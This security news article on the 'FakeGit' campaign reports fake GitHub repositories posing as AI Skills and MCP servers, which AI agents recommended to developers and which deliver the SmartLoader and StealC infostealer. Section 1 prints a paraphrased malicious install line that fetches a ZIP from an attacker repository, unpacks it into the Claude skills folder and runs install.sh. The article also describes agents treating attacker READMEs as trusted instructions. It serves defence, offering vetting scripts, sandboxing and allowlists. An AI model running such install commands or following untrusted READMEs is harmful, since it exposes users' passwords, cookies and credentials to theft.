AgentBaiting: 7,600 Fake GitHub Repos Now Target AI Agents That Install Skills and MCP Servers

What happens when a malware operation meets agentic workflows? Island's research on the FakeGit campaign answers: roughly 7,600 malicious GitHub repositories created by about 6,600 profiles, with some 1,400 tied to AI tools, agents, or workflows and more than 800 posing as Skills or MCP servers. In tests, Anthropic's Claude Code, Google's Gemini, and OpenAI's ChatGPT all pitched the malicious repositories to developers without being shown a link. More than 14 million downloads came from about 200 of the campaign's repositories, and the AI-themed wave ramped in March and peaked in April at almost 300 repositories created in a single month. Island calls the technique AgentBaiting: a playbook built to deceive people now deceives the agents acting on their behalf.

1. FakeGit: From Deceiving People to Deceiving Agents

FakeGit is not new -- Island's lead security researcher Oleg Zaytsev notes that it and the SmartLoader family have haunted developers with false GitHub repositories for years. What is new is AI: many of the repositories now present as AI Skills or Model Context Protocol (MCP) servers and drive exposure through AI registries. When a developer sends an AI agent to autonomously find something usable inside GitHub repositories, the agent can discover a campaign repository on its own, treat the attacker's README as legitimate documentation, and hand the installation instructions to the user -- or execute them itself. A playbook built to deceive people now deceives the agents acting on their behalf.

// The trap: an agent searches for an MCP server or Skill,
// finds a campaign repo, reads the README as legitimate
// documentation, and hands the installation instructions to
// the user -- or runs them itself.
# README.md of a FakeGit campaign repo (paraphrase)
# "MCP server for Gmail + WhatsApp + Databricks"
curl -sL https://github.com/attacker/skill-x/releases/latest/download/skill.zip   | unzip - -d ~/.claude/skills/ && ./install.sh
// Familiar name + credible setup steps + a malicious ZIP.
// Island calls the technique AgentBaiting.

2. The Scale in Numbers

The roughly 7,600 malicious repositories Island confirmed were created by about 6,600 profiles, with some 1,400 tied to AI tools, agents, or workflows and more than 800 posing as Skills or MCP servers that reach from tools in environments such as Gmail, WhatsApp integrations, Databricks, Jenkins, and Docker. As of this month, more than 14 million downloads came from about 200 of the campaign's repositories, and thousands of other repositories embedded malicious ZIP files directly in the project where downloads are not publicly counted. The AI-focused part ramped up quickly: GitHub creation dates show it started building in March and peaked in April, when almost 300 AI-related repositories were created.

// The scale (Island, September 2026):
const FAKEGIT = {
  maliciousRepos: "~7,600",
  profiles: "~6,600",
  aiRelatedRepos: "~1,400",
  posingAsSkillsOrMcp: "800+",
  downloadsFrom200Repos: "14M+",
  waveStart: "March 2026",
  peak: "~300 AI repos in April 2026",
  chain: "fake ZIP -> Lua loader (300KB) -> SmartLoader -> StealC",
};
// In Island's tests, Claude Code, Gemini, and ChatGPT all
// recommended campaign repos to developers unprompted:
// "a playbook built to deceive people now deceives the
// agents acting on their behalf." -- Oleg Zaytsev, Island

3. The Attack Chain: From Download Latest Release to StealC

The fraudulent repositories are designed to resemble real projects and are sometimes direct copies. Once a fake repository is chosen, the Download Latest Release button sends the developer to a malicious ZIP archive inside, complete with instructions for downloading, extracting, and running the application. That kicks off the SmartLoader attack chain: first a heavily obfuscated 300 KB Lua payload disguised as a text, icon, license, or data file; then SmartLoader drops StealC, which can steal browser passwords, extension data, cookies, active sessions, screenshots, host information, and email and remote-access credentials. The malware chain itself is familiar; what changes is the route that leads to execution.

#!/bin/bash
# Vet an agent-discovered repo before installing anything.
# 1. Age: campaigns are young. 2. Reputation: stars alone
# are cheap; check account history. 3. The release asset:
# inspect the ZIP before executing it.
repo="$1"
gh api "repos/$repo" --jq '{created:.created_at, stars:.stargazers_count, owner_created:.owner.created_at}'
gh api "repos/$repo/releases/latest" --jq '.assets[].browser_download_url' | while read url; do
  curl -sL "$url" -o /tmp/check.zip
  unzip -l /tmp/check.zip          # list before extract
  unzip -p /tmp/check.zip '*/install.sh' | head -50   # read scripts
done
# Suspicious if: repo < 3 months old, asset is a binary blob
# or heavily obfuscated script, README over-promises.

4. Why Agents Make the Problem Worse

A human reads a README with suspicion; an agent tends to treat documentation as specification. Island's tests found Claude Code, Gemini, and ChatGPT recommending campaign repositories to developers unprompted -- the models read the README as a trusted source and the borrowed workflows of familiar tools as a legitimacy signal. Worse, the installation steps are packaged as routine setup: unzip, run install.sh, each action harmless in isolation. What agents lack is a judgment layer asking whether this is really a source worth trusting. That gap is exactly what the campaign exploits.

5. The Defense Checklist, for Humans and Agents

For developers: check repository age (campaign repos skew young), account history, and release assets -- list archive contents with unzip -l before extracting, read install scripts before running them, and fingerprint downloaded ZIPs with hashes you can share with the community. For agent platform builders: make Skills and MCP server installation explicitly allowlisted with autoApprove off by default; require human review for anything the agent discovers on its own; and run installers in a network-isolated sandbox while watching what files they touch. Encode these rules into enterprise agent policy and most AgentBaiting variants stop working.

// Defense: an explicit allowlist for agent-installed
// capabilities. If the agent cannot name the server in this
// list, it must ask -- never auto-install.
{
  "mcpServers": {
    "github-official": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-github"] },
    "evergreen-json":   { "command": "npx", "args": ["-y", "@evergreen/json-tools"] }
  },
  "installPolicy": {
    "autoApprove": false,
    "requireReview": ["skills", "mcp-servers", "plugins"],
    "blockUntrusted": true
  }
}

6. The Bigger Picture: Trust in the Agent Supply Chain

FakeGit exposes a structural gap in the agent ecosystem, not just one campaign: we are delegating discover, evaluate, and install decisions to agents without giving them equivalent security judgment. Expect the next few months to bring signing and audit mechanisms for Skills and MCP registries, following the path npm and PyPI walked a decade ago. Until then, allowlists, sandboxes, and human review remain the most effective defenses -- and remember: if something is worth letting an agent install, it is worth making the agent prove the source is trustworthy first.

# Sandboxed inspection: run any agent-discovered installer in
# a disposable container with no network, and diff what it
# touches. If it phones home or drops obfuscated Lua, burn it.
docker run --rm -i --network none -v "$PWD/repo:/src:ro" ubuntu:24.04 bash -c '
  cd /src
  unzip -o skill.zip -d /tmp/x 2>/dev/null
  find /tmp/x -type f | sort
  echo "--- install.sh ---"; sed -n 1,200p /tmp/x/install.sh 2>/dev/null
'
# Compare the file list against what the README promised.
# StealC harvests browser passwords, cookies, sessions,
# screenshots, and remote-access credentials.